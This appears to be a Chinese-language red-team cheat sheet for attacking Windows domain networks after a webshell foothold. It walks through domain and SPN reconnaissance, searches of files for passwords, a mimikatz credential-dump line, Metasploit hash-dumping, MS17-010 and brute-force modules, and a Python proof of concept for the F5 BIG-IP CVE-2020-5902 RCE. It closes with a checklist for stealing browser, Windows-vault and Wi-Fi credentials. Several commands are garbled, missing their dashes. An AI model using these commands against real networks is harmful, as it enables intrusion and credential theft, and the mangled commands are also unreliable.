参考:

许多干货都是大佬的大佬提供,在实践过程中,要逐步完善为自己的!
0x01 基础信息收集
01.WebShell 层面的信息收集:
# 当前权限用户的具体确认
whoami /user # 查看当前用户
whoami /priv # 查看具体权限
query user # 查看当前登录用户
net user name # 查看name用户具体信息
net user # 当前用户
net localgroup administrators # 查看administrtor组内的具体用户
# 当前主机的具体网络情况
ipconfig /all # 查看当前IP,判断是否存在域环境
ping t.com # 判断网络ICMP是否出网
arp-a # 查看ARP-p缓存
netstat -ano # 查看本机当前端口情况
TRACERT -d -h 10 ip # 判断网络出网跳数,从而判断网络结构
net use # 判断是否存在IPC连接
net share # 判断共享目录
# 主机信息及软件进程排查
wmic OS get Caption,CSDVersion,OSArchitecture,Verion # 当前系统具体信息
wmic product get name,version # 查看当前软件安装的具体名字以及版本,后续要对各类软件进行敏感信息收集
systeminfo # 查看补丁情况,为提权做准备,后续提权做准备
tasklist /svc # 查看当前进程,判断是否存在杀软
net start # 当前服务启动情况
set # 判断当前计算机存在的环境变量,后续使用
powershell "Get-WmiObject -class Win32_Product | Select-Object -property name,version" # 通过powershell获取
# 后续通过结合已知信息进行CS,或MSF上线!
02.CS/MSF 阶段的信息收集:

# 收集域环境信息
net view # 获取当前域或工作组部分在线机器
net group "domain computer" /domain # 域内存活机器的探测方式
net view /domain # 获取当前内网下的所有工作组和域名
net view /domain:DC # 获取域或工作组的主机列表
# 通过Linux命令进行主机名提取,为后续主机存货以及网络结构探测做准备
awk -F " " {'print $1'} list.txt >> name.txt
awk -F " " {'print $2'} list.txt >> name.txt
awk -F " " {'print $3'} list.txt >> name.txt
# 通过主机名,进行批量Ping,判断网络结构,以及各类主机功能
for /f "delims=" %i in (name.txt) do @ping -w 1 -n 1 %i | findstr /c:"mark.com" >> retult.txt # 批量Ping
type C:\HOST-ASP\MTI\Styles\mactoip.txt # 查看结果
# 批量获取脚本bat
@echo off setlocal ENABLEDELAYEDEXPANSION @FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO ( @FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO ( @FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k %%j) ) )
# 域内管理员定位:
net user /domain
net group "domain admins" /domain
nltest /domain_trusts # 域信任查询
# 信息提取,提起猜测可能是“admin"的用户,后续收集信息完善使用
awk -F " " {'print $1'} user.txt >> user.txt
awk -F " " {'print $2'} user.txt >> user.txt
awk -F " " {'print $3'} user.txt >> user.txt
egrep -i "admin|manage|vpn" list_user.txt
# 批量获取当前域的所有域控及其内网IP
net group "domain controllers" /domain # 获取域控,获取结果不全
net group "Read-only Domain" # 获取只读权限的域控
for /f "delims=" %i in (dc.txt) do @ping -w 1 -n 1 %i | findstr /c:"mark.com" >> news.txt # 批量ping
nltest /dclist:DC # 判断主控所在位置
# 获取当前域中的所有组,提取关键的组即可
net group /domain
# 对所获得的组进行分类,细化各组的职能,定点收集
03. SPN扫描利用
# SPN 组成部分:
# 服务类型 对应机器名 服务端口 默认端口可不写
MSSQLSvc/Srv DB 0day.0day.org:1433
SPN 有价值目标:
各类 基础 数据库服务: | |
---|---|
MSSQLSvc | SQL Server 数据库 |
Oracle | O racle 基于 kerberos 认证 |
postgres | postgresql 数据库 |
各类 基础 mail 服务 | |
---|---|
exchangeMDB | exchange 相关服务 |
SMTPSVC | SMTP 服务 |
IMAP | IMAP 服务 |
POP3 | POP3 服务 |
各类 基础 Web 服务 | |
---|---|
HTTPS | web 服务 基于 kerberos 认证 |
HTTP | web 服务 基于 kerberos 认证 |
Jboss | java web 服务 中间件 Redhat jboss |
各类 基础 文件 服务 | |
---|---|
DNS | DNS服务 |
FTP | FTP服务 |
NFS | NFS服务 |
各类远程管理 类 服务 | |
---|---|
TERMSRV | Windows RDP 远程桌面服务 |
WSMAN | Windows 远程管理服务 |
vnc | VNC |
VPN | 远程接入服务 |
通过spn定向寻找数据库相关服务:

# Windwos 7 以后都默认自带setspn
setspn T DC-Name Q */* | findstr "MSSQLSvc" # 直接过滤Mssql服务
# 因为得到的spn结果,可能都不存活,我们批量Ping一下,判断存活
awk F "/" {'print $2'} mac.txt | awk F "." {'print $1'} | uniq > res.txt
for /f "delims=" %i in (res.txt) do @ping w 1 n 1 %i | findstr /c:" DC-name " >> PerfLogs news.txt
setspn T dc-name Q */* | findstr "oracle" # 同理过滤“Oracle服务”,其他同类数据库服务也如此
借助 SPN 快速 定位当前目标 域中 所有 存活 的 ldap 服务器:
# 通常情况下,都为域控制器
setspn T dc-name Q */* | findstr "ldap" # 所有 LDAP SPN 的 机器名 都带有典型 的 DC 字样
借助 SPN 快速 定位当前目标 域中 邮件 服务器:
setspn T dc-name Q */* | findstr "exchangeMDB"
setspn T dc-name Q */* | findstr "SMTPSVC"
setspn T dc-name Q */* | findstr "IMAP"c v
setspn T dc-name Q */* | findstr "POP3"
awk F '/' {'print $2'} mail.txt | awk F '.' {'print $1'} | uniq # 筛选各类主机名
# 批量存活探测
for /f "delims=" %i in (mail.txt) do @ping w 1 n 1 %i | findstr /c:" dc-name " >> mail-re.txt
借助 SPN 快速 定位当前目标 域中 Web 服务器:
setspn T dc-name Q */* | findstr "HTTP"
setspn T dc-name Q */* | findstr "HTTPS"
for /f "delims=" %i in (webs.txt) do @ping w 1 n 1 %i | findstr /c:" dc-name " >> # Web服务
借助 SPN 快速 定位当前 目标 域 中 所有 存活的 DNS 服务器
setspn T dc-name Q */* | findstr "DNS"
for /f "delims=" %i in (dns.txt) do @ping w 1 n 1 %i | findstr /c:" dc-name " >> dns.txt
借助 SPN 快速 定位当前 目标 域 中 所有 存活的 文件 服务器
setspn T dc-name Q */* | findstr "ftp"
setspn T dc-name Q */* | findstr "nfs"
for /f "delims=" %i in (ftp.txt) do @ping w 1 n 1 %i | findstr /c:" dc-name " >> dns.txt
借助 SPN 快速 定位当前 目标 域 中 所有 开启远程 连接服务 服务器
setspn T dc-name Q */* | findstr "TERMSRV" >>> PerfLogs rdp .txt
setspn T dc-name Q */* | findstr "WSMAN" >> C: PerfLogs winrm .txt
setspn T dc-name Q */* | findstr "vnc" >> C: PerfLogs vnc .txt
setspn T dc-name Q */* | findstr "vpn" >> C: PerfLogs vpn .txt
setspn T dc-name Q */* | findstr "tnetdgines" >> C: PerfLogs tnetdgines .txt
awk F '/' {'print $2'} **.txt | awk F '.' {'print $1'} | uniq | wc -l
04. 内网密码收集:
# Mssql配置文件搜集:
dir /b /s web.config
findstr /c:"User ID=" /c:"Password=" /si web.config
# Seatbelt,导出详细信息
Seatbelt -group=all
# 列出当前目录结构:
tree /A |findstr /BV /C:"| |"
# 针对特定类型的敏感文件进行全盘遍历搜集,比如, 文件类型:
*.xlsx,*.doc,*.docx,*.txt,*.zip,*.rar,*.7z,*.ovpn,*. vsdx,*.ppt,*pptx,*.php,*.sql,*.md
# 全盘搜带有以下敏感字段的文件,其实还有非常非常多,弟兄们平时在搞的过程中最好一边搞一边积累,常见关键字:
"密码(pass)", "账号(user)", "VPN",
"SVN","GIT", "账户(user)",
"交接", "离职", "登录(login)",
"账密", "堡垒", "邮箱(Mail)" ,
"IT", "信息安全", "IT部", "备份(bak)",
"管理员(admin)", "内网", "杀毒" ,
"入职", "服务器" , "运维" ,
"平台", "巡检", "拓扑", "资产",
"网络", "系统", "后台(system)" ,
"漏洞", "扫描", "数据库", "交换机",
"ERP", "防火墙" , "防毒墙", "合同",
"虚拟", "集群", "通讯录", "订单"
"办公", "权限", "隔离", "测试"
"网闸", "监控", "设备", "简历", "工资"
dir /s /b "*密码*" "*登录*" "*资产*" "*VPN*" "*Svn*" "*Git*" "*交接*" "*离职*" "*网络*" "*后台*" "*拓扑*" "*邮箱*" "*工资*" "*管理员*" "*巡检*"
# Server 端配置文件密码收集:
findstr /I /c:"user=" /c:"pass=" /c:"login=" /c:"uid=" /c:"pwd=" /si *.conf *.asp *.php *.jsp *.aspx *.cgi *.xml *.ini *.inf *.txt *.cgi
0x03 内网基础资源横向探测
05. 从主机开始入手:
# 通过代理将Msf挂到内网去:
msf > setg Proxies socks5:127.0.0.1:1080
# 通过批量提取到mssql的Hash,Msf使用auxiliary/scanner/mssql/mssql_hashdump模块
msf > use auxiliary/admin/mssql/mssql_sql # SQL语句模块
msf > use auxiliary/admin/mssql/mssql_exec # SQL_exec模块
msf > use auxiliary/scanner/mssql/mssql_hashdump # SQL_Hash模块
# MSf主机批量Smb探测:
msf > use auxiliary/scanner/smb/smb_version
# 批量mS17-010
msf > use auxiliary/scanner/smb/smb_ms17_010
# 通过MS17-010_Command模块,进行批量密码搜寻
dir /b /s web.config
findstr /c:"User ID=" /c:"Password=" /si web.config >tmps.logs
cscript katz.js "privilege::debug" "sekurlsa::logonpasswords" "exit"
# 将所有密码Hash整合,再去撞Hash:
msf > use auxiliary/scanner/smb/smb_login
06. 从各类Web服务开始入手:
# 确定具体目标,先从单端口,多网段进行探测,线程拉低:
msf > use auxiliary/scanner/portscan/tcp
# 同时对在公网上收集的信息,进行批量ping,筛选所对应的内网服务,重点关注
for /f "delims=" %i in (domains.txt) do @ping -w 1 -n 1 %i | findstr /c:"mark.com" >> service.txt
type service.txt | findstr "10."
# 快速探测识别目标内网所用的各类基础java web服务
msf > use auxiliary/scanner/http/jboss_vulnscan
msf > use auxiliary/admin/http/tomcat_administration
msf > use auxiliary/scanner/http/jenkins_login
msf > use auxiliary/scanner/http/glassfish_login
msf > use auxiliary/scanner/http/axis_login
msf > use auxiliary/scanner/http/webdav_scanner
msf > use exploit/windows/iis/iis_webdav_scstoragepathfromurl
msf > use auxiliary/scanner/http/http_login
msf > use auxiliary/scanner/http/joomla_version
msf > use auxiliary/scanner/http/wordpress_scanner
msf > use auxiliary/scanner/http/phpmyadmin_login
07.从各类服务弱口令入手:
# Linux SSH版本探测确认具体使用那些版本的Linux系统:
msf > use auxiliary/scanner/ssh/ssh_version
msf > use auxiliary/scanner/ssh/ssh_enumusers # 探测完用户后,通过前期收集的密码,进行单密码碰撞
# Windows 服务探测:
msf > use auxiliary/scanner/rdp/rdp_scanner # RDP探测
msf > use auxiliary/scanner/vnc/vnc_login # VNC探测
# 各类工控设备的telnet默认口令:
msf > use auxiliary/scanner/telnet/telnet_version
# 文件服务探测,寻找敏感信息:
msf > use auxiliary/scanner/ftp/ftp_version
# FTP批量常识读写:
msf > use auxiliary/scanner/ftp/anonymous
# 搜集NFS挂载:
msf > use auxiliary/scanner/nfs/nfsmount
# rsync,Web同步常用,搜集配置文件:
msf > use auxiliary/scanner/rsync/modules_list
# SVN 泄露探测:
msf > use auxiliary/scanner/http/svn_scanner
# 各类数据库:
msf > use auxiliary/scanner/mysql/mysql_version # MySQL
msf > use auxiliary/scanner/db2/db2_version # DB2
msf > use auxiliary/scanner/postgres/postgres_login # PostGreSQL
msf > use auxiliary/scanner/redis/redis_login # Redis,重点关注
# 对上面的结果进行,批量SQL命令执行:
msf > use auxiliary/scanner/redis/redis_server
msf > use auxiliary/scanner/mongodb/mongodb_login # MongoDB 弱口令
# Mail通过邮件服务进行探测:
msf > use auxiliary/scanner/smtp/smtp_version # SMmtp版本
msf > use auxiliary/scanner/imap/imap_version # imap版本探测
msf > use auxiliary/scanner/pop3/pop3_version # pop3版本探测
msf > use auxiliary/scanner/lotus/lotus_domino_version # lotus版本探测
msf > use auxiliary/scanner/http/owa_ews_login # 特定版本zimbra漏洞利用
msf > use exploit/unix/webapp/zimbra_lfi # 漏洞利用
08. 从各类工控网络设备入手:
# CISCO
msf > use auxiliary/scanner/http/cisco_device_manager
# Cisco-VPN
msf > use auxiliary/scanner/http/cisco_ssl_vpn
# 批量扫描内网下的所有f5设备,通过扫描结果批量探测F5RCE漏洞
msf > use auxiliary/scanner/http/f5_bigip_virtual_server
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = i@cdxy.me
"""
F5 BIG-IP TMUI 远程代码执行漏洞(CVE-2020-5902)
F5 BIG-IP 是美国 F5 公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。2020年7月1日,F5官方公布流量管理用户界面(TMUI)存在 前台远程执行代码(RCE)漏洞(CVE-2020-5902)。攻击者利用该漏洞,构造恶意请求,在未授权的情况下获得目标服务器的权限,实现远程代码执行。
Usage
python POC-T.py -s BigF5_Rce -iF target.txt
python POC-T.py -s BigF5_Rce -aZ ""
"""
import requests
from plugin.useragent import firefox
from plugin.urlparser import iterate_path
def poc(target):
print target
base_url = target if "://" in target else 'https://' + target
for each in iterate_path(base_url):
try:
url = each + '/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
#print url
g = requests.get(url, headers={'User-Agent': firefox()})
if g.status_code is 200 and 'output' in g.content and 'root' in g.content:
return url
url = each + '/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
g = requests.get(url, headers={'User-Agent': firefox()})
if g.status_code is 200 and 'error' in g.content and 'password' in g.content:
return url
except:pass
return False
# 批量扫描内网下的dlink后门
msf > use auxiliary/scanner/http/dlink_user_agent_backdoor
# 批量探测内网下的zabbix web入口弱口令
msf > use auxiliary/scanner/http/zabbix_login
# 批量探测内网下的splunk[主要用于大数据分析] web入口弱口令
msf > use auxiliary/scanner/http/splunk_web_login
# 批量探测下的 snmp挂到socks下跑可能会有些问题,应该是udp协议的问题 弱口令,实际中,万一真的没办法,不妨用这个试着搜集内网机器信息
msf > use auxiliary/scanner/snmp/snmp_login
09.核心系统核心网段探测:
(1) 外网资产列表
通过对外部打点时收集到的各类Web资产,批量提取URl,适用于,在获得内网跳板时,已经控下几台机器但是找不到核心资产的情况,将提取的URL,在内网机器上,通过Bat脚本,进行批量Ping提取解析IP为内网IP的资产,重点关注这些网段,刘哥给提供的bat思路,自己可以继续修改:
- Windows 系统环境:
# 筛选的关键字,我们可以根据实际情况修改,因为在一些大型公司内部,因为资产的庞大,网络划分直接划分为国外公网IP:
for /f "delims=" %i in (web.txt) do @ping -w 1 -n 1 %i | findstr /c:"[10." /c:"[192." /c:"[172." >> out.txt
(2) 批量Web Title & Header提取
通过前面阶段的收集,对于获取到的资产网段,我们筛选常用端口:
80-90,8080, 8090,7001端口,进行批量的Web Title 提取,具体实现方法:
- Klion思路,通过Curl以及批处理脚本,简单快捷方式解决:
- 我通过Python垃圾实现:

(3) DNS爆破枚举:
进行单IP多网段扫描,定位具体DNS服务器位置,通过网络配置也可以判断DNS具体IP:
# DNS缓存查看:
ipconfig /displaydns
在获得DNS具体IP后,通过各类DNS爆破工具进行枚举和爆破,最终效率需要看字典内容
# Klion推荐项目:
https://github.com/Q2h1Cg/dnsbrute
0x04 思路汇总:
Klion总结,自己完善总结作为自己测试时的Check-List:
获取当前Shell的详细权限属性信息(即priv的内容),区分当前是本地用户还是域用户
获取当前机器的详细网络配置信息,包括 dns后缀,DNS后缀搜索列表,ip,掩码,网关,主备dns ip,dns缓存
获取当前机器的详细系统配置信息,包括 当前系统详细版本,内核版本,位数,启动时间,网卡信息,是否虚拟机,哪种虚拟机 [eg: VMWARE,VDI(一般从厂商名能看出来)......]
获取当前机器的 各类敏感 服务 / 进程列表
需要特别关注的一些敏感进程:各类常见杀软进程 [ 赛门铁克, 360套装(包括天擎), 麦咖啡, ESET, 卡巴, 趋势, WindowsDefender, Sophos, 火绒, QQ管家...... ]
常规监控系统的agent端进程 [ Zabbix, Cacti(默认用snmp远程搜集系统信息), Nagios]
敏感工具进程 [ Chrome,Firefox,Edege,IE,Xshell,Xftp,SecureCRT,Navicat,TortoiseSVN,Git,Foxmail,Filezilla,Vnc,Putty,Office套件,Teamviewer,向日葵...]
可疑恶意敏感进程 [ Powershell.exe, mshta.exe, cmd.exe,cscript.exe .... ]
各类Java服务进程 [ 通常Java权限较高,后面提权可能会用得到 ]
包括对应进程的详细用户权限
需要特别关注的一些敏感服务:
本机各类Web服务
本机各类数据库服务
本机各类杀软 / EDR服务
本机各类常规监控的相关服务:
获取当前机器的所有Tcp / Udp 端口连接状态信息,顺手重点关注那些后期可用来"提权"或者搜集密码的各类敏感服务端口
获取当前机器的所有已经安装软件列表(留后门,抓密码可能会用得到)
获取当前用户浏览器 [ Chrome,Firefox,Edge,IE,360,QQ ] 的各类敏感数据,eg: 保存的账号密码,收藏夹链接,历史浏览记录,Cookie [ 注: 如浏览器正在运行可能无法获取相关数据 ]
获取当前用户Windows凭据管理器中保存的各类账号密码
获取当前用户的浏览器代理ip和端口
出网刺探,查看当前机器能否正常出网 [ Tcp / Udp / Dns /icmp ]
获取当前机器的 "关键性本地组" 成员 [ 比如,本地管理组,远程桌面组 ]
获取本机已启用的共享
获取当前用户回收站,桌面里的文件目录列表
获取最近运行的命令历史和访问过的文件记录
获取当前机器的所有Rdp连出记录 [ 不包括连入记录 ]
获取当前系统的防火墙状态 [开启 / 关闭]
获取当前机器根下的计划任务列表
获取当前用户的注册表自启动项列表
获取当前机器的所有IPC会话
获取当前机器的Powershell 和 .Net 版本
获取当前机器的WIFI连接账号密码
获取当前机器中的服务票据 [ 待后续拿到管理权限后可进行PTT操作 ]
获取当前机器的详细补丁列表
获取本机ARP / DNS 缓存记录
获取本机host文件内容
获取当前用户环境变量
定时跟踪操作截屏 [ 需要在指定用户环境下操作 ]
获取当前系统的Laps配置 [ 如果有 ]